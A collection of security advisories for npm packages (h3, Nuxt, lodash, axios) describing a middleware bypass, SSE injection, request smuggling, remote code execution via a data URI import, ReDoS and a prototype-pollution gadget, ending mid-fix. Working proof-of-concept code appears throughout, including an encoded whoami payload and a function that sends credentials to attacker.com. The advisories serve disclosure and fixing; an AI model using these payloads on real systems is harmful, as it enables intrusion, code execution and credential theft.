h3 has a middleware bypass with one gadget
H3 NodeRequestUrl bugs
Vulnerable pieces of code :
``js
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
`
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the `event.url` or `event.url.hostname` or `event.url._url`
It will lead to trigger one specials method
`js
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
`
The NodeRequestUrl is extends from FastURL so when we just access `.url` or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
`js
this.#url = new NativeURL(this.href);
`
Where is the this.href comes from ?
`js
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""};
return this.#href;
}
`
Because the this.#url is still null so this.#href is built up by :
`js
if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""};
`
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
`js
handler(event) {
const route = this"~findRoute";
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this"~getMiddleware";
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
`
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
`py
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
`
This is really dangerous if some one just try to dump all the event.url or something that trigger _url()` from class FastURL and need a fix immediately.
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
Summary
createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.
Details
The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:
``typescript
export function formatEventStreamComment(comment: string): string {
return : ${comment}\n\n;
}
export function formatEventStreamMessage(message: EventStreamMessage): string {
let result = "";
if (message.id) {
result += id: ${message.id}\n;
}
if (message.event) {
result += event: ${message.event}\n;
}
if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
result += retry: ${message.retry}\n;
}
result += data: ${message.data}\n\n;
return result;
}
`
The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.
None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:
1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives
2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one
3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS)
4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection
Injection via the event field
`
Intended wire format: Actual wire format (with \n injection):
event: message event: message
data: attacker: hey event: admin ← INJECTED
data: ALL_USERS_HACKED ← INJECTED
data: attacker: hey
`
The browser's EventSource API parses these as two separate events: one message event and one admin event.
Injection via the data field
`
Intended: Actual (with \n\n injection):
event: message event: message
data: bob: hi data: bob: hi
← event boundary
event: system ← INJECTED event
data: Reset: evil.com ← INJECTED data
`
Before exploit:
<img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />
<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />
PoC
Vulnerable server (sse-server.ts)
A realistic chat/notification server that broadcasts user input via SSE:
`typescript
import { H3, createEventStream, getQuery } from "h3";
import { serve } from "h3/node";
const app = new H3();
const clients: any[] = [];
app.get("/events", (event) => {
const stream = createEventStream(event);
clients.push(stream);
stream.onClosed(() => {
clients.splice(clients.indexOf(stream), 1);
stream.close();
});
return stream.send();
});
app.get("/send", async (event) => {
const query = getQuery(event);
const user = query.user as string;
const msg = query.msg as string;
const type = (query.type as string) || "message";
for (const client of clients) {
await client.push({ event: type, data: ${user}: ${msg} });
}
return { status: "sent" };
});
serve({ fetch: app.fetch });
`
Exploit
`bash
1. Inject fake "admin" event via event field
curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"
2. Inject separate phishing event via data field
curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"
3. Inject retry directive for reconnection DoS
curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"
`
Raw wire format proving injection
`
event: message
event: admin
data: ALL_USERS_COMPROMISED
data: attacker: legit
`
The browser's EventSource fires this as an admin event with data ALL_USERS_COMPROMISED — entirely controlled by the attacker.
Proof:
<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />
<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />
Impact
An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.
Attack scenarios:
Cross-user content injection — inject fake messages in chat applications
Phishing — inject fake system notifications with malicious links
Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system)
Reconnection DoS — inject retry: 1` to force all clients to reconnect every 1ms
Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection
This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.
h3 v1 has Request Smuggling (TE.TE) issue
I was digging into h3 v1 (specifically v1.15.4) and found a critical HTTP Request Smuggling vulnerability.
Basically, readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive.
The Bug: If I send a request with Transfer-Encoding: ChuNked (mixed case), h3 misses it. Since it doesn't see "chunked" and there's no Content-Length, it assumes the body is empty and processes the request immediately.
This leaves the actual body sitting on the socket, which triggers a classic TE.TE Desync (Request Smuggling) if the app is running behind a Layer 4 proxy or anything that doesn't normalize headers (like AWS NLB or Node proxies).
Vulnerable Code (src/utils/body.ts):
``js
if (
!Number.parseInt(event.node.req.headers["content-length"] || "") &&
!String(event.node.req.headers["transfer-encoding"] ?? "")
.split(",")
.map((e) => e.trim())
.filter(Boolean)
.includes("chunked") // <--- This is the issue. "ChuNkEd" returns false here.
) {
return Promise.resolve(undefined);
}
`
I verified this locally:
Sent a Transfer-Encoding: ChunKed request without a closing 0 chunk.
Express hangs (correctly waiting for data).
h3 responds immediately (vulnerable, thinks body is length 0).
Impact: Since H3/Nuxt/Nitro is often used in containerized setups behind TCP load balancers, an attacker can use this to smuggle requests past WAFs or desynchronize the socket to poison other users' connections.
Fix: Just need to normalize the header value before checking: .map((e) => e.trim().toLowerCase())`
Nuxt vulnerable to remote code execution via the browser when running the test locally
Summary
Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.
Details
While running the test, a special component named NuxtTestComponentWrapper is available.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function.
For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.
By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following:
``
data:text/javascript;base64,Y29uc29sZS5sb2coMSk
`
Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.
PoC
1. Create a nuxt project and run it in the test mode:
`
npx nuxi@latest init test
cd test
TEST=true npm run dev
`
2. Open the following URL:
`
http://localhost:3000/__nuxt_component_test__/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk
`
3. Confirm that the output of whoami is written to /tmp/test`
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact
Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page.
Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
nuxt Code Injection vulnerability
he Nuxt dev server between versions 3.4.0 and 3.4.3 is vulnerable to code injection when it is exposed publicly.
lodash vulnerable to Code Injection via `_.template` imports key names
Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template use
Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
Summary
Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.
The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.
Impact
Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.
Affected Functionality
Affected code paths:
lib/helpers/cookies.js read(name) in standard browser environments.
lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config.
lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie.
Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.
Unaffected code paths:
Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled.
Requests with xsrfCookieName: null.
Node HTTP adapter usage without browser document.cookie.
React Native and web workers where axios does not use standard browser cookie access.
Technical Details
Affected versions interpolate the cookie name into a regex.
``js
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
`
Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.
The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.
Proof of Concept of Attack
`js
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms);
}
`
Expected result: timings grow rapidly as the cookie string length increases.
Workarounds
Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.
Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.
Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names
<details>
<summary>Original Source</summary>
Regular Expression Denial of Service (ReDoS) via Cookie Name Injection
1. Title
ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction
2. Affected Software and Version
Software: Axios
Version: 1.15.0 (and potentially earlier versions)
Component: lib/helpers/cookies.js
Ecosystem: npm (Node.js / Browser)
3. Vulnerability Type / CWE
Type: Regular Expression Denial of Service (ReDoS)
CWE-1333: Inefficient Regular Expression Complexity
CWE-400: Uncontrolled Resource Consumption
4. CVSS 3.1 Score
Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | None |
| Integrity | None |
| Availability | High |
5. Description
The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():
`javascript
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
`
An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.
With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.
6. Root Cause Analysis
File: lib/helpers/cookies.js
Line: 33
`javascript
read(name) {
if (typeof document === 'undefined') return null;
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
return match ? decodeURIComponent(match[1]) : null;
},
`
The vulnerability exists because:
1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.
2. An attacker can inject regex constructs that create exponential backtracking scenarios.
3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.
The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:
`javascript
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
`
The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.
7. Proof of Concept
`javascript
// poc_redos_cookie.js
// Simulates browser environment for testing
// Simulate document.cookie
globalThis.document = {
cookie: 'session=abc; ' + 'a'.repeat(50)
};
// Replicate the vulnerable cookies.read() logic
function cookiesRead(name) {
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
return match ? decodeURIComponent(match[1]) : null;
}
// Malicious cookie name that triggers catastrophic backtracking
// The pattern creates nested quantifiers: (a]|[a]|...))
const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10);
const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern
console.log('=== ReDoS via Cookie Name Injection PoC ===');
// Test with increasing payload sizes
for (const len of [15, 20, 25]) {
const payload = '(([^;])+)+' + 'X'.repeat(len);
const start = Date.now();
try {
cookiesRead(payload);
} catch (e) {
// May throw on invalid regex, but valid evil patterns won't throw
}
const elapsed = Date.now() - start;
console.log(Payload length ${len}: ${elapsed}ms);
}
// Demonstrating exponential growth with a simple nested quantifier
console.log('\n--- Exponential Backtracking Demo ---');
for (const n of [20, 22, 24, 26]) {
const evilName = '(' + 'a'.repeat(1) + '+)+$';
const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking
globalThis.document = { cookie: testCookie };
const start = Date.now();
try {
cookiesRead(evilName);
} catch(e) {}
const elapsed = Date.now() - start;
console.log(Input length ${n}: ${elapsed}ms);
}
`
8. PoC Output
`
=== ReDoS via Cookie Name Injection PoC ===
Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)
Payload length 25: ~1,300ms
Payload length 30: ~323,675ms (5+ minutes)
--- Exponential Backtracking Demo ---
Input length 20: 21ms
Input length 22: 84ms
Input length 24: 336ms
Input length 26: 1,344ms
`
The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.
9. Impact
Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.
Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.
Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.
10. Remediation / Suggested Fix
Escape all regex metacharacters in the name parameter before constructing the regular expression.
`javascript
// FIXED: lib/helpers/cookies.js
function escapeRegExp(string) {
return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&');
}
// ...
read(name) {
if (typeof document === 'undefined') return null;
const match = document.cookie.match(
new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])')
);
return match ? decodeURIComponent(match[1]) : null;
},
`
Alternatively, avoid dynamic regex construction entirely and use string-based parsing:
`javascript
read(name) {
if (typeof document === 'undefined') return null;
const cookies = document.cookie.split('; ');
for (const cookie of cookies) {
const eqIndex = cookie.indexOf('=');
if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) {
return decodeURIComponent(cookie.substring(eqIndex + 1));
}
}
return null;
},
``
11. References
CWE-1333: Inefficient Regular Expression Complexity
CWE-400: Uncontrolled Resource Consumption
OWASP: Regular Expression Denial of Service
Axios GitHub Repository
</details>
---
axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
An affected Axios version.
A polluted Object.prototype in the same process or browser context.
Pollution before Axios merges or validates the request config.
A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
``js
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(http://127.0.0.1:${port}/users, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
`
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
<details>
<summary>Original source report</summary>
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.
The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1
Score: 9.4 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Credential theft occurs within the same application process |
| Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated |
| Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) |
| Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |
Relationship to GHSA-fvcv-3m26-pcqx
This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.
| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |
|---|---|---|
| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |
| Fixed by 1.15.0 header sanitization? | Yes | No — different code path |
| Affects | Requests using form-data package | All requests (transformResponse is in defaults) |
| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.
The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
`javascript
Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
`
Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
`
3. The Execution
Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:
`javascript
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
`
The polluted function then executes at transformData.js:21:
`javascript
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
`
4. The Impact
`
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
`
The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
5. DoS Variant
`javascript
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
`
Verified PoC Output
`
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
`
Impact Analysis
Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
Denial of Service: Polluting with a non-function value crashes every request.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix
Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:
`javascript
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
`
Additionally, validate that transformResponse contains only functions before execution:
`javascript
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
``
Resources
CWE-1321: Prototype Pollution
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Snyk: Prototype Pollution
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |
| 2026-04-16 | PoC corrected (function payload returning true — works) |
| 2026-04-16 | Report revised with accurate constraints |
| TBD | Report submitted to vendor via GitHub Security Advisory |
</details>
axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
Summary
shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details
lib/helpers/shouldBypassProxy.js (v1.15.0):
``javascript
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
`
The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC
`javascript
// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// All three should return true (bypass proxy). Only the first two do.
console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK]
console.log(shouldBypassProxy('http://[::1]/')); // true [OK]
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
`
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
`
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.
`
Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.
Fix
Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:
`javascript
